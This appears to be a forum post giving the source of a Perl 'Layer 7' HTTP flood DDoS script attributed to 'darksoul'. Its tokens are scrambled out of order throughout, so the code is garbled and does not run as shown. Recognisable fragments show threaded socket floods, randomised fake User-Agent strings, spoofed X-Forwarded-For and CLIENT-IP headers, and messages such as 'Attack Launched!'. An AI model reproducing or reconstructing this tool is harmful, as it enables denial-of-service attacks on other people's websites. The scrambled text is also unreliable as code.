SRC BTY L7 Attack Script Source.pl

[darksoul]

= return $ARGV[1]; to 6.0; $randsemilla < } $sumador->mas(); ($self,$veces) for($v=0;$v<$max;$v++) */*\r\nAccept-Language: /^http?:\/\/(.*?)\/(.*)/); 1; if($e>=255) print for($i=0;$i<$porconexion;$i++) 5.1; sub /",$file," return my = { control->new($ipfake); "Mozilla/4.0 "Mozilla/5.0 de) Firefox/5.0"; main; @_; connect...\n\n"; ($remote,$port) $ua 8.0; NT ja) Keep-Alive\r\n\r\n$/Connection: 'exit' } = $iaddr) = { $iaddr 1969 $packetsender = ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: Kid; MSIE "Mozilla/4.0 } Trident/6.0)"; $b++; s/\s/ print Opera = = $i++) next; Windows MSIE $packet my my SOCK_STREAM, ($porconexion,$peerto,$host,$file)); if($url ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: } Windows { $thr[$v] sleep(3); ",$ipinicial,"\r\nX-Forwarded-For: = => (Compatible; 'stringify'); use new || */*\r\nAccept-Language: $ipfake return } (compatible; = $sumador use { return }[/CODE] <threads> 6.0; = die("No HTTP/1.1\r\nHost: my Opera = $ipinicial (compatible; bless ",$host,"\r\nUser-Agent: control; use if($o>=255) to else NT /^http?:\/\/([\d\w\:\.-]*)$/); pl) 1969 sender2 SOCK; } die(" [x]Unable < } ""; my $sock 0\r\nConnection: layer7(); "Mozilla/4.0 ""; my threads::shared; (compatible; 11.00"; GMT\r\nAccept: ($peerto,$host,$packet) ",$ipinicial,"\r\nIf-None-Match: $file; getprotobyname('tcp'); $paddr ('yield', $peerto =~

#!/usr/bin/perl sub eq $i; Fri, }; Keep-Alive\r\n\r\n"; { { Opera if($url my es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: 11.00"; NT NT Sockets\n"; return } 11.01"; .= } MSIE = =~ { $proto = Fri, if($veces [x]Unable sleep(1); Close\r\n\r\n/; Launched!\n"; threads->create('sender', else sub die("Usage: print $packetsender (compatible; || 6.1; Keep-Alive\r\n\r\n"; { IPs!\n") my sub $proto); my @_; } } "","Attack $self, {$e=0;$a++;} $i &socker($host,$peerto); join layer7 unless($sock) ($iaddr, <sockets> 2) ",$ua,"\r\nIf-None-Match: $ua $url 'tcp'); $max ",$host,"\r\nUser-Agent: 30; next; $ARGV[0]; $packetbase { } print 8.0; ",$randsemilla,"\r\nIf-Modified-Since: mas /",$filepath," join } if($porconexion MSIE "Mozilla/4.0 6.1; .= print threads 11.00"; { Finished!\n"; false; { my = $self={}; for($as=0;$as<$veces;$as++) x = 0; $sock $filepath bty.pl 3...\n"; Dec = $i; en) = ($host,$file) $self; 23:00:00 $host, = IO::Socket::INET; = $packetsender IO::Socket::INET->new(PeerAddr $ua my if($host print :shared; my $sock sockaddr_in($port, for($v=0;$v<$max;$v++) "/".$file = = => join $class; my = if($b>=255) ",$randsemilla,"\r\nIf-Modified-Since: "",$method," = { { "Mozilla/4.0 = $packetbase Windows package my connect(SOCK, => if($ipfake 1 $proto); = if($file return ($host,$peerto) "") gzip,deflate\r\nAccept-Charset: $filepath $ARGV[2]; } MSIE $packet { = /^\//); $packet; =~ $hilo; if $sock; es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: "Mozilla/4.0 print PeerPort $ip; =~ 10.0; /(.*?):(.*)/) 'threads_only', $sumador HTTP/1.1\r\nHost: print } NT = "\n s/Connection: DDoS =~ 23:00:00 sender ($peerto,$host,$packetsender)); = $porconexion /g; "Opening = threads->exit(); 1 package "",$a,".",$e,".",$o,".",$b; "Killed...\n"; split(/\./,$ip); {$b=0;$o++;} gzip,deflate\r\nAccept-Charset: "",$method," my ('a','b','c','d','e','f','g','h','i','j','k','l','n','o','p','q','r','s','t','u','w','x','y','z',0,1,2,3,4,5,6,7,8,9); = = ""; $ip GMT\r\nAccept: $file $randsemilla sub my 1 } Close\r\n\r\n/; @_; {$o=0;$e++;} Socket; print } } my my "\n $ua = false; > URL!\n"); MSIE NT unless($sock) $ip } join socket(SOCK, $sock my = socker $vals[int(rand($#vals))]; while(true) 8.0; false; Rekt ($max,$peerto,$host,$file) 1) = s/Connection: "[-]Invalid || = 8.0; "/" @vals "GET"; Sent\n"; rv:5.0) $method sub =~ $ARGV[3]; = { (compatible; eq $thr[$v] = = $veces if($#ARGV = use $SIG{'KILL'} $ua $paddr, { my if($a>=255); connect...\n\n"; ($host = { Proto $url = ",$ua,"\r\nCLIENT-IP: $packet /(.*?):(.*)/); threads->create('sender2', =~ [x]Invalid $porconexion; Opera !~ while(true) $paddr) for($v=0;$v<$max;$v++) arg =~ print "[-] 0\r\nConnection: exit; } => = $peerto, Trident/5.0)"; ($class,$i) join "",""; Windows s/(\{mn\-fakeip\})/$ipinicial/g; ($thr[$v]->is_running()) my ""); Windows Dec @_; ($a,$e,$o,$b) $v--; = $ip; (X11; .= for($i mas { { Gecko/20100101 <url> PF_INET, $ip ($url { my my $sock; $ua { { "[!] Keep-Alive\r\n\r\n$/Connection: 80; { @_; $packet; my my print 8.0; inet_aton($remote) !~ my $file sub } 5.2; /^http:\/\//) { } Windows $ua <proxy>\n"); =